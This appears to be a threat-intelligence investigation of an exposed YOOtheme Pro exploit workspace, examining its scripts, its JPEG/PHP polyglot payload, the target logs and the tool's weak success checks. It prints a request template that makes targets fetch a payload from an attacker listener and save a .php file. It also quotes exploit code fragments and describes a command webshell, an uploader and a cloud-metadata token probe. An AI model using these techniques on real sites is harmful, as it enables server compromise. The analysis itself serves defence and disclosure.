23 minute read

An investigation of an exposed YOOtheme exploitation workspace, its tooling and the results recorded in its logs. Cache Ronin is a label for this dataset, not a tracked threat group.

Contents

Summary

The workspace. An exposed directory at 174.138.177[.]12:8888 contained the main YOOtheme exploit, a second implementation, target lists, wrappers, payload files and logs. One retained run marked 13 of 163 URL entries as [Exploited].

The result. The run marked 13 entries as successful, but the shell check accepts a response marker that the payload prints even when operating-system command execution is unavailable.

The connection. The main script is byte-for-byte identical to a public ANTID00T release. The workspace also contains ANTID00T and Jelly Project branding; its operator remains unidentified.

Introduction

On 12 November, I found an open directory at 174.138.177[.]12:8888 containing a YOOtheme exploitation workspace: Python scripts, target lists, PHP-bearing files, wrappers and logs. I checked again on 18 November; the directory remained accessible and the logs had continued to grow.

The retained batch log listed 163 URL entries and marked 13 as [Exploited]. I traced the main script’s discovery, request construction and payload-delivery stages, then examined the checks behind those labels.

The files link the tooling to a public exploit release and the wider ANTID00T and Jelly Project ecosystem. They do not reveal who operated this particular workspace.

The workspace and its contents

The listing contained the main script, an alternate implementation, target inputs, wrappers, payload files and logs from the exploitation workspace.

File or group Purpose
CVE-2026-102785/yootheme.py Main exploit, internally labeled version 2.2
yootheme_exploit.py Related implementation, internally labeled version 3.1
yt.py, yt.sh Wrappers that call the main script
exploit_log.txt Batch configuration and result summary
targets.txt and smaller lists Target inputs, with substantial overlap
yootheme_dorks*.txt Prepared searches for candidate sites
p.jpg, payload.jpg, shell.jpg Identical PHP-bearing files, examined below
HTTP, payload and listener logs Requests recorded by the exposed services
Other files Cookie jars, saved HTML, a cloud-probe script and repository artwork

The retained batch uses the console format produced by the main script. The separate 3.1 implementation uses weaker checks; both wrappers call the main script.

Public source match

The exposed .git/config names antid00t/CVE-2026-102785 as the repository origin, and its packed references point to commit af1a10296702ccb4d1ae70bca65a1fb0846d0979. The exposed main script and README have the same raw-byte SHA-256 hashes as the files at that revision. ANTID00T CVE-2026-102785 repository at the matching commit

The match establishes the files’ public source, not who downloaded or ran them.

Reconstructing the timeline

The timeline combines public CVE and commit dates with server-reported file metadata.

Date Source What it establishes
21 October 2026 Vendor changelog Release of the 5.0.53 fix
22 October 2026 CVE record Public CVE publication
24 October 2026, 22:29:42 UTC Matching Git commit Recorded upstream author/committer time
25 October 2026 Main-script and README HTTP headers Server-reported file modification date
26 October 2026, 14:23:23 p.log Two requests for /p.jpg; timezone not recorded
28 October 2026 Several script/input headers File dates, not a verified execution sequence
6 November 2026 gcp_test.sh header A cloud-probe file date, not proof it ran
10 November 2026 Saved HTML and cookie-jar headers Server-reported modification dates
12 November 2026 My collection records Retrieval and initial analysis
18 November 2026 Re-check of the same listing Logs still growing; directory still served

The vulnerability behind the exploit

Field Recorded value
CVE CVE-2026-102785
State / assigning CNA PUBLISHED / Joomla
Reserved 29 September 2026, 16:46 UTC
Published 22 October 2026, 12:36 UTC
Affected product entry YOOtheme Pro extension for Joomla
Affected versions 5.0.0–5.0.52
Weakness CWE-434, unrestricted upload of a file with a dangerous type
Severity CVSS 4.0: 10.0, Critical (assigned by the Joomla CNA)
Finder credit David Willis-Owen

The NVD record remains Awaiting Enrichment and has not provided an independent severity assessment.

YOOtheme’s publicly accessible image transformation handler uses signed URLs to authorize image-processing requests. In affected versions, the signature does not adequately bind the normalized image operations and output destination to the request.

A signature exposed in a legitimate public image URL can therefore be reused with additional image operations and a modified output path. The handler can then write attacker-controlled image content outside the intended cache, including to a publicly accessible location with an executable extension.

The payload is an image/PHP polyglot: the image-processing library handles it as an image, while the web server can interpret the embedded PHP when the resulting file is requested. Execution runs with the web process’s permissions.

In the workspace’s implementation, FROMFILE specifies the external image source and SAVE controls the output path. Together, they turn the image transformation workflow into a file-placement mechanism. The CVE description identifies a PNG/PHP polyglot; this implementation uses a JPEG-based carrier.

YOOtheme fixed the issue in version 5.0.53, released on 21 October 2026. The patch adds an allowlist for image operations and checks that the requested cache filename matches the filename generated for the signed image URL. See the official changelog and the mySites.guru package comparison.

Inside yootheme.py

I traced yootheme.py first because its output format matches the retained batch. It searches for a signed image URL, rebuilds the request, serves a PHP-bearing image from its listener and checks the resulting public file.

Exploitation workflow at a glance

The main script follows six stages:

  1. Target discovery: Fetch the supplied URL, identify the likely CMS and locate candidate YOOtheme image-cache URLs.
  2. Signed URL extraction: Parse the cache route, preserve its query parameters and derive the filename token used during route construction.
  3. Request construction: Rebuild the signed route with FROMFILE and SAVE, then generate variations covering parameter parsing, encoding, route handling and HTTP methods.
  4. Payload delivery: Serve a PHP-bearing JPEG polyglot from the script’s local HTTP listener for the target to retrieve.
  5. File placement: Attempt to write the processed payload into a candidate public directory with a PHP-compatible extension.
  6. Verification: Request the resulting file and evaluate the response using the shell or uploader checks.

URL discovery, file placement and PHP execution are separate stages; success at one does not establish the next.

Finding a signed URL

The first pass runs in exploit_target. It fetches the supplied URL through fetch_follow, which follows a bounded redirect chain. detect_platform looks for WordPress or Joomla strings in the returned HTML. This platform guess selects routes and candidate directories; it does not identify the installed YOOtheme version.

If the homepage exposes neither a candidate signed URL nor a YOOtheme fingerprint, the script marks the target as having no YOOtheme fingerprint and skips deeper discovery.

When the homepage does not expose a usable URL, chained_discovery searches four levels:

Level What the script checks
L0 The homepage response
L1 Discovery paths such as sitemaps, robots.txt, feeds, WordPress REST routes and Joomla content views
L2 Up to 12 selected content URLs found during discovery, along with selected child sitemaps
L3 Up to 24 same-host links selected from the original homepage, excluding common static-resource extensions

The configured L1 list contains 18 entries, including one duplicate. The fetch helper deduplicates the list and caps it at 16 requests.

extract_signed_urls unescapes the HTML, extracts URL-like strings, resolves relative references and looks for YOOtheme cache routes with a 4-to-12-character hexadecimal component. This is the script’s candidate-matching rule, not a weakness in the signature algorithm.

The main path selects the first parseable candidate with a usable filename token.

parse_signed recognizes query-form and path-form cache routes. It retains query parameters as pairs, preserving duplicate keys and blank values. However, parse_qsl decodes the query before the request builder serializes it again, so the original URL is not preserved byte for byte.

The parsed field named key is not a signing secret. It comes from the final hyphen-separated component of the cache filename:

def derive_key(route_file):
    name = os.path.basename(route_file)
    name = name[: name.rfind(".")] if "." in name else name
    return name.split("-")[-1]

The script reuses this filename token when constructing the route; it does not recover the YOOtheme signing secret.

Rebuilding the image request

With a usable URL, the script rebuilds the route and adds two parameters: FROMFILE, which identifies the external file to retrieve, and SAVE, which specifies the output path. It tracks the filesystem-relative destination as rel and the browser-visible URL as pub.

derive_save_dirs builds destination candidates from the image’s src value, directory references in page content, upload and media paths, and platform-specific fallbacks. These are candidate locations; the script does not establish that each is writable or publicly accessible.

run_vector selects the original cache route or a WordPress admin-ajax.php or cache-path alternative, depending on the platform guess and route-mode checks.

Expanded mode defines 13 request profiles covering parameter parsing, capitalization, encoding, route form, output extension and HTTP method.

Profile Route Variation
F1 Original Random parameter case, stronger route encoding and extra parameters
F2 Original F1 plus a duplicate SAVE parameter, with a decoy value first
F3 admin-ajax.php Random parameter case and stronger route encoding
F4 Original Double-encoded route
F5 admin-ajax.php Duplicate SAVE parameter
F6 Cache path form Random parameter case and extra parameters
F7 Original Plain request without extra parameters or encoding changes
F8 Original .phtml output extension
F9 admin-ajax.php .phtml output extension
F10 Cache path form Duplicate SAVE parameter
F11 Original HEAD instead of GET
F12 admin-ajax.php HEAD instead of GET
F13 Original HEAD, duplicate SAVE and double-encoded route

When expanded mode is disabled, the script uses a single P1 profile. Extra parameters accompany every expanded profile except F7, which is deliberately plain.

For duplicate-parameter profiles, profile_extras creates a decoy filename in the same directory: an a prefix, five random characters and a .jpg extension. It places this value before the real destination. A handler that keeps the first SAVE value will therefore handle the request differently from one that keeps the last. Version 3.1 uses a different decoy, appending _decoy.jpg to the real name.

The stronger encoder is applied to the new route filename:

def qenc_strong(v):
    return urllib.parse.quote_plus(v, safe="").replace(".", "%2E")

Values such as SAVE use the ordinary query encoder, which can encode slashes while leaving the dot in .php literal. The route filename and SAVE value are encoded differently.

The constructed request has this general form:

<signed cache URL>?<original params>&FROMFILE=http://<payload-host>:<port>/<random>.jpg&SAVE=<dir>/<random>.php

The cache-route filename ends in .png, in a form such as {token}{attempt}-{key}.png; the first attempt omits the counter. The .php or .phtml extension appears in SAVE, not in the route filename.

The admin-ajax.php variant uses a different entry point and prefixes the save path with ../ because its effective base directory is one level deeper:

/wp-admin/admin-ajax.php?action=yootheme&<param>=cache/<route>&FROMFILE=...&SAVE=../<dir>/<random>.php

That prefix applies to this route variant, not every request.

For each target, try_payload randomizes the case of the payload filename but uses a fixed mixed-case HtTp:// scheme. The script caches payload URLs by type (shell or uploader), allowing later attempts to reuse the registered payload. Its 30-attempt budget is checked around batches; paired shell/uploader attempts and verification requests can push the total HTTP request count higher.

Response handling

After sending a request, the script calls looks_like_waf. It treats HTTP 403, 406, 419, 501 and 429 as possible filtering responses. For other statuses, it checks the response headers and first 2,048 body bytes against a regular expression.

If the heuristic flags a response, run_vector skips that vector’s post-check. Otherwise, it runs the verification callback without first requiring a successful image-handler status. The heuristic neither identifies a WAF product nor explains why the request failed.

The payload listener and JPEG carrier

When the image handler fetches the external source, it retrieves the carrier from the exploit’s payload listener. PayloadServer uses ThreadingHTTPServer, binds to 0.0.0.0 and normally lets the operating system select the port. serve_payload registers the exact filenames and byte strings returned by the handler.

Registered carriers are served as image/jpeg; a separate PHP-suffix branch serves uploader bytes as text/plain. The handler suppresses its access logs. This listener is separate from the directory listing on port 8888. The retained batch records it on port 34595, so its requests would not necessarily appear in the directory-service logs.

The main script determines its advertised address by asking a UDP socket which local source address an outbound connection would use. Version 3.1 instead queries api.ipify.org.

Both implementations use the same fixed 1,772-byte JPEG template. The main script also supports a local yt_polyglot_template.b64 override; none was present in the collected directory. The embedded template contains JFIF data and Photoshop/IPTC-style metadata, with a baseline frame of 48 by 32 pixels.

The relevant structure is:

Offset Marker or range Meaning
0 FF D8 Start of image
2 FF E0 JFIF segment
20 FF ED Photoshop/IPTC-style metadata
50-52 1C 02 78 Replaceable metadata record prefix
53-54 04 00 Record length of 1,024 bytes
55-1078 1,024 bytes Placeholder replaced by padded PHP
1279 FF C0 Baseline frame segment
1730 FF DA Start of image scan
1770 FF D9 End of image

build_polyglot_jpeg finds the record prefix and placeholder, then replaces the 1,024-byte slot with padded PHP. The fixed slot size leaves the surrounding metadata length fields unchanged. The main shell occupies 690 bytes, with 334 bytes of padding. The general padding helper can truncate oversized input, but the main shell builder checks that its own code fits.

The hash f075fa747257d4fb95dc955a6a307903dea1aa9a30e6416a2af4bb839b67f0d2 belongs to the untouched template, which contains the placeholder bytes but no PHP opening tag. It is not a generated-carrier hash.

The payload survives only if the image-processing library preserves the relevant metadata. Stripping metadata or decoding and re-encoding the image can remove or alter the PHP; the static template alone does not guarantee preservation.

What the shell and uploader do

The embedded shell accepts commands through parameter c, appends 2>&1 and tries system, shell_exec, passthru and exec in sequence. It also accepts file content through w[n] and base64-encoded w[d], then writes the decoded data relative to __DIR__.

The handler has no authentication check or visible path-containment restriction on the file-write name. Base64 encodes the file content; it does not encrypt it. The shell runs under the web process’s permissions and the server’s PHP configuration, not automatically as root.

After the command attempt, the shell emits YT5-PWNED with the PHP version. The main script uses this marker for verification, even when no command-execution function is available.

The uploader accepts multipart field f, applies basename() to the filename and saves it beside the uploader with move_uploaded_file(). It returns OK: or ERR and displays ANTID00T. There is no authentication check, extension allowlist or content validation. Some function and variable names are assembled from string fragments, avoiding simple literal-string searches without changing their behavior.

The main exploit first retrieves the uploader from the mutable main branch of the ANTID00T repository. It accepts a response beginning with a PHP tag and shorter than 600 bytes; otherwise, it uses its embedded 355-byte copy. This checks format and size, not integrity, and does not establish which bytes a past run downloaded.

If the shell works but the uploader is unavailable, expanded mode tries two further deployment paths. It can write the uploader through w[n] and base64 data in w[d], expecting WROTE: in the response. Alternatively, it serves the uploader at /up.php and asks the shell to retrieve it with curl, wget or fetch. The tool then checks the page and may run a multipart upload probe.

The branches can leave three states: a shell with a verified uploader, a shell with an unverified uploader, or a shell alone. The console labels each [Exploited].

What the 13 successes actually mean

The retained console summary reports 13 exploited results from 163 URL entries. The success logic shows what that label actually represents.

The main script’s is_success helper accepts either a shell response or a recorded uploader URL. In safe mode, signature reuse also counts as success:

def is_success(r, safe_mode=False):
    return bool(r["rce"] or r.get("uploader_url") or (safe_mode and r["signature_reuse"]))

The retained run used safe_mode = False, so signature reuse alone did not produce any of the 13 labels. The script nevertheless treats a shell response and an uploader URL as equivalent success states, although they represent different levels of access.

The retained log records 163 targets, 15 worker threads, a 20-second timeout and FULL ARSENAL mode. It reports 13 exploited results and zero write-proof results over 2,724.6 seconds (about 45 minutes). Its output format matches the main 2.2 script.

The shell check posts the default command, id, but it does not look for the command’s output. It only checks for HTTP 200 and the YT5-PWNED marker followed by a PHP version:

def shell_check(pub, cmd=args.cmd):
    st_c, body_c, _ = http_post(pub, {"c": cmd}, timeout=args.timeout, ua=ua)
    last_shell_body.append(body_c or b"")
    return st_c == 200 and bool(re.search(rb"YT5-PWNED:\|\d", body_c or b""))

The payload prints YT5-PWNED:| followed by PHP_VERSION after trying the available execution functions. If system, shell_exec, passthru and exec are all unavailable, it prints [no-exec-fn] but still emits the marker. The check ignores this condition and does not validate the output of id; it only requires HTTP 200 and the marker pattern. A matching response supports PHP payload interpretation, not successful operating-system command execution. The retained results contain no response bodies or command output with which to validate the 13 individual checks.

Separating the evidence levels

The evidence falls into three distinct levels:

Evidence What it establishes
PHP marker and version returned by the generated shell endpoint Evidence of PHP payload interpretation, assuming the response is genuine
Expected id output or corresponding server-side process evidence Operating-system command execution
Successful file creation followed by retrieval, or a completed uploader probe File-write capability and subsequent access to the written file

The main script collapses these states into one [Exploited] label.

The 163 entries break down as follows:

Recorded result Count
[Exploited] 13
Signed URL found but could not be parsed 45
No signed image URL found on public pages 40
Signature rejected with HTTP 400 31
No signed URL or writable path found 15
No YOOtheme fingerprint 10
Unreachable 9
Total 163

The remaining 150 entries are not evidence that those sites were safe. Parser failures may reflect how the script handles a URL; HTTP 400 responses may result from request canonicalisation rather than a patch; and an early skip means only that the homepage exposed no candidate URL or fingerprint.

Uploader verification also varies by path. The normal path uploads a file and requests it again, looking for yt5-upload-probe. Some fallbacks use a weaker content check: HTTP 200 with ANTID00T, provided the response does not resemble the shell marker or raw PHP. The log does not identify which branch produced each uploader URL or preserve its upload_test result.

The write-proof 0 field is also narrower than its name suggests. Its n_write counter counts results with signature_reuse but no RCE result or uploader URL; it does not count every non-empty write_proof field. Expanded mode skips an earlier non-full probe block, leaving some fields at their defaults. The zero therefore does not account for every possible file write.

verify_public has a separate bug: it compares a three-byte prefix against the JPEG signature (three bytes) and PNG/GIF signatures (four bytes). The PNG and GIF comparisons can never match as written, and an image header alone would not demonstrate PHP execution.

The log establishes that the tool reported 13 successes. It does not establish 13 confirmed compromises or successful command execution.

The target list

The target list contains 163 URLs across 162 hostnames, with one hostname appearing on two ports. URL counts are not organization counts, particularly where subdomains, alternate ports and shared hosting are involved.

Five of the seven .ie entries were marked successful, but the collection method and selection criteria are unknown. The suffix distribution is not a country-level exposure measure; a domain suffix does not establish where an organization or its hosting is based.

Domain suffix or address type Entries Reported successes
.ie 7 5
.de 28 3
.br 6 1
.ru 2 1
.nl 3 1
.info 3 1
Bare IP address 3 1
.com 55 0
All other suffixes 56 0
Total 163 13

Search-index descriptions associated some of the 13 entries with building cleaning, event services, food services and veterinary-product wholesale. The other nine were unclassified. These descriptions do not establish that any sector was specifically targeted.

All 13 success rows list a shell URL and an uploader URL in the same directory. Twelve paths follow a WordPress-style structure, mostly under /wp-content/uploads/, but the path alone does not identify the installed CMS. The logs contain no evidence of database access, credential theft or operating-system takeover.

A second implementation and the wrappers

The workspace also contains yootheme_exploit.py, labeled version 3.1. It uses the same JPEG template and a similar uploader, but its discovery and verification logic is simpler.

Detail Main yootheme.py 2.2 Related yootheme_exploit.py 3.1
Default workers 5 10
Default timeout 15 seconds 20 seconds
Discovery Homepage, metadata, content and same-host links A fixed set of common pages such as /about, /contact and /blog
Signed URL candidates First usable parsed candidate Up to three candidates
Expanded profiles 13 3
Directory selection Page references plus platform fallbacks First five of eight fixed entries
Shell check POST and marker/PHP-version pattern GET and marker or uid=
Uploader check Content checks and multipart verification on some paths HTTP 200 alone

Version 3.1 uses three regular expressions against raw HTML to find a /cache/ path, a yootheme=cache query or an absolute cache URL, each with a 6-to-12-character hexadecimal hash. The main script accepts 4 to 12 hexadecimal characters case-insensitively and applies a separate filename-token check, so the versions can identify different candidates on the same page.

The 3.1 path-form route ends in exploit.webp, while SAVE still ends in .php. The script stops at its first accepted shell. Its uid= check can match an error page, and HTTP 200 alone does not confirm an upload. No retained log shows a run of this implementation.

The yt.py and yt.sh wrappers call the main script from /tmp/CVE-2026-102785/ with --full2. They manage temporary input files and format console output; neither adds verification. The retained batch used 15 workers and a 20-second timeout, which differs from the wrapper defaults.

Both implementations disable TLS certificate verification. The main script adds timed DNS resolution, caching and a DNS-over-HTTPS fallback, and can retry selected HTTPS failures over HTTP. It caps target workers at 128; internal discovery uses six workers at 16 target threads or fewer, and three above that. Shell and uploader attempts can run in parallel, so the outer thread count does not equal the maximum number of simultaneous requests. The script sets args.safe = False by default and therefore runs in an active, not read-only, mode.

The ANTID00T and Jelly Project connection

The source match ties the main script to ANTID00T. The repository, GitHub profile and promotional material also link ANTID00T to the @antidxt Telegram account and Jelly Project channel.

The Telegram channel promotes webshells, exploit tooling, SEO services and paid access. Posts advertise versions of a product called Jelly and claim CVE coverage, WAF bypasses and uploader methods. The posts are promotional material, not independent evidence of sales, inventory, victim counts or tool effectiveness.

A 24 October post provides the clearest overlap. It advertises CVE-2026-102785, 13 WAF-bypass profiles, three uploader methods and polyglot writing, matching the profiles and uploader paths in the examined code. The local wrappers also use the --full2 flag mentioned in the post. This links the promotion to the same tool family, but not to the unidentified workspace operator.

The free 2.2 script contains no telemetry or command channel. It sends requests to target sites, its payload listener, DNS-over-HTTPS resolvers and GitHub to retrieve the uploader. Version 3.1 also queries api.ipify.org; neither implementation sends results to Jelly Project.

The standalone exploit is public, and the batch output matches that release. The workspace therefore contains publicly available tooling associated with ANTID00T and Jelly Project, but the available files do not show whether the operator used a paid product or identify who ran it.

What the artifacts say about attribution

The source contains Turkish-language strings and uses a Turkish preference in its synthetic request headers. Selected requests also include:

X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Accept-Language: en-US,en;q=0.9,tr;q=0.8

These headers can help fingerprint requests generated by the tool, but they reveal nothing reliable about the operator’s location or identity.

The exposed IP belongs to an Interserver network allocation, according to the ARIN RDAP record. The available artifacts do not link the workspace to a known actor or campaign, and do not establish the operator’s intent or authorization.

Network and request indicators

Indicator Context
174.138.177[.]12:8888 Exposed workspace address
Port 34595 Payload listener recorded in this batch
Port 4444 Listener in nc.log; no confirmed shell session
YT5-PWNED Embedded shell response marker
ANTID00T Tool and uploader branding
yt5-upload-probe Main tool’s upload-test content
FROMFILE, SAVE Parameters used by the examined exploit
X-Forwarded-For: 127.0.0.1, X-Real-IP: 127.0.0.1 Forwarding headers set on selected requests
Accept-Language: en-US,en;q=0.9,tr;q=0.8 Synthetic request-header profile

GitHub, Telegram, DNS-over-HTTPS and cloud metadata endpoints are legitimate services referenced by the tooling; their presence alone does not make them malicious infrastructure.

Other files in the workspace

The three loose image files

p.jpg, payload.jpg and shell.jpg are identical 55-byte files. Each begins with GIF89a;, followed by a PHP opening tag at offset 7. The body passes the c query parameter to system() and then calls __halt_compiler(). Although served as image/jpeg, the prefix is not a complete GIF. They appear to be separate shell-placement tests; the retained batch contains no evidence that they were used.

cookies.txt and cookies2.txt are 281-byte Netscape-format cookie jars with two records for one domain. Their values match, but their expiry fields differ. They were not tested against a live service, so their validity is unknown. Three other jars contain only the libcurl header and no cookie records.

shell_output.html is a saved password-form response. It contains no backend authentication logic and is unrelated to the YOOtheme batch.

The cloud probe and service logs

gcp_test.sh requests a token from the Google metadata endpoint, then attempts Cloud Storage and IAM listing operations for a fixed project. No token response, API output or cloud audit record indicates that the requests succeeded. The script is not linked to a batch target; the metadata endpoint is a legitimate cloud service, not an IOC.

The collected p.log contains 150 GET and 15 HEAD requests for /p.jpg between 26 October and 12 November; the first two were recorded on 26 October. The timestamps have no timezone. The directory logs also contain unrelated probes and requests from this investigation. When I re-checked the listing on 18 November, the logs were still growing: p.log had increased from roughly 40,000 lines at collection to more than 60,000.

nc.log records an HTTP GET received by a listener on port 4444.

File fingerprints

SHA-256 hashes of the collected artifacts:

Artifact SHA-256
Main yootheme.py 220c6e034f9578963ddc64261f4b614f4ca6f8146ea59584a86869e2d8c0c983
Related yootheme_exploit.py b9de8f303db75b4e7bd53bf968dc1093893c965732693e16d0907eaaa69c2ea4
p.jpg, payload.jpg, shell.jpg e2366ff87ad0d92282b6f20ed0aaf613fdd67b28a39e95d271d521ef85fbe5f7
Unmodified JPEG template f075fa747257d4fb95dc955a6a307903dea1aa9a30e6416a2af4bb839b67f0d2
Main embedded uploader 833f0d51b44158e7bc1d839905c4b78bb6d3bbaa1cd1c315d7eb7125d6db6a01
Related embedded uploader a9d734f3d501be33ee98ae69c84777077da49d56f27bbf7faa73381804563710

Conclusion

The exposed directory contained a YOOtheme exploitation workspace built around a public exploit release. Its scripts, wrappers, payloads and logs show how the tooling discovered signed image URLs, constructed requests and classified results.

One retained run marked 13 of 163 URL entries as [Exploited]. The shell check accepts a PHP response marker without validating the output of the requested command, so the log does not establish 13 successful command executions or confirmed compromises. The directory and its logs were still active when I checked again on 18 November.

The source of the main script and its public associations are traceable. The available files do not identify the workspace operator or establish what happened on each target.

References

  1. CVE Program record: CVE-2026-102785 — official CVE record published by the Joomla CNA.
  2. NVD: CVE-2026-102785 — NVD product entry and current enrichment status; NVD has not supplied its own severity assessment.
  3. YOOtheme Pro changelog — 5.0.53 security fix dated 21 October 2026; 5.0.56 dated 16 November 2026.
  4. mySites.guru: CVE-2026-102785 technical analysis — package comparison of the 5.0.52 and 5.0.53 image-handler behavior and attribution of the CVSS 4.0 score to the Joomla CNA.
  5. WPScan: YOOtheme Pro 5.0.0–5.0.52 WordPress theme entry — separate WordPress-theme listing, marked Verified: No by WPScan.
  6. Wordfence: YOOtheme Pro WordPress-theme vulnerability entry — separate WordPress-theme record with a CVSS 3.1 score of 9.8.
  7. ANTID00T CVE-2026-102785 repository, commit af1a10296702ccb4d1ae70bca65a1fb0846d0979 — public source revision used for the byte-for-byte comparison.
  8. ANTID00T GitHub profile — profile and repository ownership context.
  9. @antidxt Telegram profile — advertised contact linked from the public repository.
  10. Jelly Project Telegram channel — channel associated with the tool branding.
  11. BGP.HE: 174.138.176.0/20 and IPinfo: 174.138.176.0/20 — public network-allocation data identifying the prefix as Interserver, Inc.; this identifies the network registrant, not the server subscriber or operator.